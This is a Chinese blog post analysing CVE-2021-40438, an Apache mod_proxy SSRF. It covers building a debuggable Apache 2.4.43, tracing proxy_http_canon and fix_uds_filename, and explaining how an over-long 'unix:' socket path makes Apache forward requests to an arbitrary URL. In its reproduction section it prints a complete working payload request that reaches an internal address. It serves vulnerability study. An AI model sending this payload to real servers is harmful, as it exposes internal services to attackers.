感谢师傅 · 关注我们
由于,微信公众号推送机制改变,现在需要设置为星标才能收到推送消息。大家就动动发财小手设置一下呗!啾咪~~~
前言
最近开始深入了解一些Web服务器的漏洞,感觉Apache mod_proxy SSRF这个漏洞还是很值得深究的。一方面是为了学习Apache的调试知识,还有一方面是检验一下自身的C语言水平。
Apache调试之路
这里我的调试方式是远程调试,主机和虚拟机信息如下:
宿主机:Windows11 (192.168.135.1)
虚拟机:Ubuntu22.04 (192.168.135.138)
Apache是用C编写的Web服务器,很难像Tomcat这种用java写的服务器那样很方便地调试。在分析Apache mod_proxy SSRF之前,我们首先需要编译、调试这个漏洞所需要的Apache。在调试之前,首先安装依赖,包括我们编译软件所需要的build-essential,以及调试C程序所需要的gdb,以及Apache所依赖的几个第三方库:
sudo apt-get install build-essential gdb
sudo apt-get install --no-install-recommends libapr1-dev libaprutil1-dev libpcre3-dev
在编译Apache之前,我们还需要安装ARP依赖,这是因为这个SSRF漏洞的有一些关键的过程是在apr这个依赖里。完整的APR(Apache portable Run-time libraries,Apache可移植运行库)实际上包含了三个开发包:apr、apr-util以及apr-iconv,每一个开发包分别独立开发,并拥有自己的版本。apr-util该目录中也是包含了一些常用的开发组件。这些组件与apr目录下的相比,它们与apache的关系更加密切一些。比如存储段和存储段组,加密等等。但是这里我们只需要apr和apr-util这两个安装包。
apr-util安装依赖于apr,因此需要首先安装apr-1.6.5:
wget https://dlcdn.apache.org/apr/apr-1.6.5.tar.gz #下载apr-1.6.5源码
tar -zxvf apr-1.6.5.tar.gz
cd apr-1.6.5/
CLFAGS="-g" ./configure --prefix=/home/rainb0w/workspace/apr-1.6.5/
make
make install
安装apr-util:
wget https://dlcdn.apache.org/apr/apr-util-1.6.3.tar.gz
tar -zxvf apr-util-1.6.3.tar.gz
cd apr-util-1.6.3/
CLFAGS="-g" ./configure --prefix=/home/rainb0w/workspace/apr-util-1.6.3 --with-apr=/home/rainb0w/workspace/apr-1.6.5/
make
make install
因为CVE-2021-40438已经在Apache HTTP Server 2.4.49及更高版本中修补,所以我们需要找到低版本的Apache进行编译,直接到官网下载:https://archive.apache.org/dist/httpd/,下载后解压:
wget https://archive.apache.org/dist/httpd/httpd-2.4.43.tar.gz
tar -zxvf httpd-2.4.43.tar.gz
我的目录为:/home/rainb0w/workspace/httpd-2.4.43
cd /home/rainb0w/workspace/httpd-2.4.43
CFLAGS="-g" ./configure --prefix=/home/rainb0w/workspace/httpd-2.4.43/ --with-apr=/home/rainb0w/workspace/apr-1.6.5/ --with-apr-util=/home/rainb0w/workspace/apr-util-1.6.3/
make
make install
这是我安装之后的目录结构:
根据披露出的漏洞细节可以得知,该漏洞是由于mod_proxy 将请求转发到远程用户选择的源服务器,因此我们需要先配置一个反向代理。
首先将proxy_module和proxy_http_module这两个模块前的注释去掉:
之后增加一个虚拟主机的配置:
<VirtualHost *>
ServerAdmin webmaster@localhost
ServerName localhost
DocumentRoot /home/rainb0w/workspace/httpd-2.4.43/htdocs
LogLevel notice proxy:trace8
ErrorLog /home/rainb0w/workspace/httpd-2.4.43/logs/error.log
CustomLog /home/rainb0w/workspace/httpd-2.4.43/logs/access.log combined
ProxyPass / "http://192.168.135.1/"
ProxyPassReverse / "http://192.168.135.1/"
</VirtualHost>
这里反代的地址是我宿主机的,需要改成自己的。DocumentRoot、ErrorLog和CustomLog也都要改成自己的,不然会报错。之后我们在/home/rainb0w/workspace/httpd-2.4.43目录下创建一个目录.vscode,在.vscode目录下创建一个文件,文件名为launch.json,文件值如下:
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "(gdb) Launch",
"type": "cppdbg",
"request": "launch",
"program": "/home/rainb0w/workspace/httpd-2.4.43/bin/httpd",
"args": ["-X", "-DFOREGROUND"],
"stopAtEntry": false,
"cwd": "/home/rainb0w/workspace/httpd-2.4.43",
"environment": [],
"externalConsole": false,
"MIMode": "gdb",
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
]
}
]
}
program是需要调制的二进制文件,cwd是指 定运行时的目录,都需要改成自己的。之后在虚拟机中安装openssh-server,确保宿主机可以使用ssh登陆到root。
接着在vscode中,安装Remote – SSH扩展,添加一个远程服务器,如下:
接着安装调试C所需要的扩展:C/C++(https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools)
最后在源码中找到需要调试的部分,打下断点,即可远程调试。
Apache mod_proxy SSRF漏洞分析
漏洞复现
我本地的环境:
http://192.168.135.138/:
访问/1.txt:
接着给出payload:
GET http://192.168.135.138/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://127.0.0.1/1.txt HTTP/1.1
Host: 192.168.135.138
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
结果为:
漏洞分析
Apache在配置反代的后端服务器时,有两种情况:
直接使用某个协议反代到某个IP和端口,比如
ProxyPass / "http://localhost:8080"
使用某个协议反代到unix套接字,比如
ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"
第二种情况的设计我觉得不是很好,相当于让用户可以使用一个Apache自创的写法来配置后端地址。那么这时候就会涉及到parse的过程,需要将这种自创的语法转换成能兼容正常socket连接的结构,而fix_uds_filename函数就是做这个事情的。
https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html
漏洞点在modules/proxy/proxy_util.c的fix_uds_filename函数处:
首先我们需要知道r->filename是什么?因为反代后端是http、https协议的服务,因此我们在modules/proxy/mod_proxy_http.c的中找到定义:
static int proxy_http_canon(request_rec *r, char *url)
{
char *host, *path, sport[7];
char *search = NULL;
const char *err;
const char *scheme;
apr_port_t port, def_port;
/* ap_port_of_scheme() */
if (strncasecmp(url, "http:", 5) == 0) {
url += 5;
scheme = "http";
}
else if (strncasecmp(url, "https:", 6) == 0) {
url += 6;
scheme = "https";
}
else {
return DECLINED;
}
port = def_port = ap_proxy_port_of_scheme(scheme);
ap_log_rerror(APLOG_MARK, APLOG_TRACE1, 0, r,
"HTTP: canonicalising URL %s", url);
/* do syntatic check.
* We break the URL into host, port, path, search
*/
err = ap_proxy_canon_netloc(r->pool, &url, NULL, NULL, &host, &port);
if (err) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01083)
"error parsing URL %s: %s", url, err);
return HTTP_BAD_REQUEST;
}
/*
* now parse path/search args, according to rfc1738:
* process the path.
*
* In a reverse proxy, our URL has been processed, so canonicalise
* unless proxy-nocanon is set to say it's raw
* In a forward proxy, we have and MUST NOT MANGLE the original.
*/
switch (r->proxyreq) {
default: /* wtf are we doing here? */
case PROXYREQ_REVERSE:
if (apr_table_get(r->notes, "proxy-nocanon")) {
path = url; /* this is the raw path */
}
else {
path = ap_proxy_canonenc(r->pool, url, strlen(url),
enc_path, 0, r->proxyreq);
search = r->args;
}
break;
case PROXYREQ_PROXY:
path = url;
break;
}
if (path == NULL)
return HTTP_BAD_REQUEST;
if (port != def_port)
apr_snprintf(sport, sizeof(sport), ":%d", port);
else
sport[0] = ' ';
if (ap_strchr_c(host, ':')) { /* if literal IPv6 address */
host = apr_pstrcat(r->pool, "[", host, "]", NULL);
}
r->filename = apr_pstrcat(r->pool, "proxy:", scheme, "://", host, sport,
"/", path, (search) ? "?" : "", (search) ? search : "", NULL);
return OK;
}
审计代码可以发现,首先判断了url是否是http:
或https:
,若不是,则返回-1。之后,还获取了schema和port,接着调用ap_proxy_canon_netloc函数,若存在某些错误,则写入日志,并返回HTTP_BAD_REQUEST,也就是400:
接着依次获取sport,path,search,最后调用apr_pstrcat函数拼接proxy:
、scheme、://
、host、sport、/
、path、?、search,其中?
是存在search时才会拼接进去的。最后将拼接的值赋给r->filename。
在modules/proxy/mod_proxy_http.c的111行打下断点,发送payload可以看到得到的变量值:
接着程序走到modules/proxy/proxy_util.c的fix_uds_filename函数处:
static void fix_uds_filename(request_rec *r, char **url)
{
char *ptr, *ptr2;
if (!r || !r->filename) return;
if (!strncmp(r->filename, "proxy:", 6) &&
(ptr2 = ap_strcasestr(r->filename, "unix:")) &&
(ptr = ap_strchr(ptr2, '|'))) {
apr_uri_t urisock;
apr_status_t rv;
*ptr = ' ';
rv = apr_uri_parse(r->pool, ptr2, &urisock);
if (rv == APR_SUCCESS) {
char *rurl = ptr+1;
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);
*url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */
/* r->filename starts w/ "proxy:", so add after that */
memmove(r->filename+6, rurl, strlen(rurl)+1);
ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
"*: rewrite of url due to UDS(%s): %s (%s)",
sockpath, *url, r->filename);
}
else {
*ptr = '|';
}
}
}
首先判断r->filename
的是否由proxy:
开头,接着判断r->filename
的字符串中含有关键字unix:
,然后判断unix:
后是否含有|
。
若满足条件,则执行apr_uri_parse函数,rv结果为0:
而APR_SUCCESS的值也为0:
因此满足rv == APR_SUCCESS
,进入if判断。之后将|
之后的值赋值给rurl,将unix:
后面的内容进行解析,设置成uds_path
的值。假设r->filename为ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"
,那么rurl为http://localhost:8080/
,uds_path为/var/run/www.sock
。
假设发送如下请求:
GET /?unix:/var/run/test.sock|http://localhost:8080/ HTTP/1.1
...
logs/error.log中会出现如下内容:
提示我们找不到unix套接字/var/run/test.sock
。但是该SSRF是让它把请求发送给|
之后的地址,这是怎么做到呢?
在fix_uds_filename
函数中,unix套接字的地址来自于下面这两行代码:
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);
若ap_runtime_dir_relative函数返回null,那么后面将会变成普通的TCP连接,如下:
ap_runtime_dir_relative函数如下所示:
可以看到如果我们使得if中的条件不满足就会返回null,再跟进一下apr_filepath_merge函数,其中有这样一段代码:
其中APR_PATH_MAX的定义如下:
因此,如果我们传入的unix:
和|
之间的内容超过4092,那么apr_filepath_merge函数就会返回APR_ENAMETOOLONG导致ap_runtime_dir_relative函数返回null,从而使得|
后的地址被请求,造成SSRF。
往期推荐
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果
点击左侧关注我们 关键字:资源 资源页面不定时更新资源 【免责声明】版权归原作者,如有侵权,请联系我们进行删除或与您共商解决,感谢阅读
点分享
点收藏
点点赞
点在看
原文始发于微信公众号(黑客白帽子):CVE-2021-40438 Apache mod_proxy SSRF
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论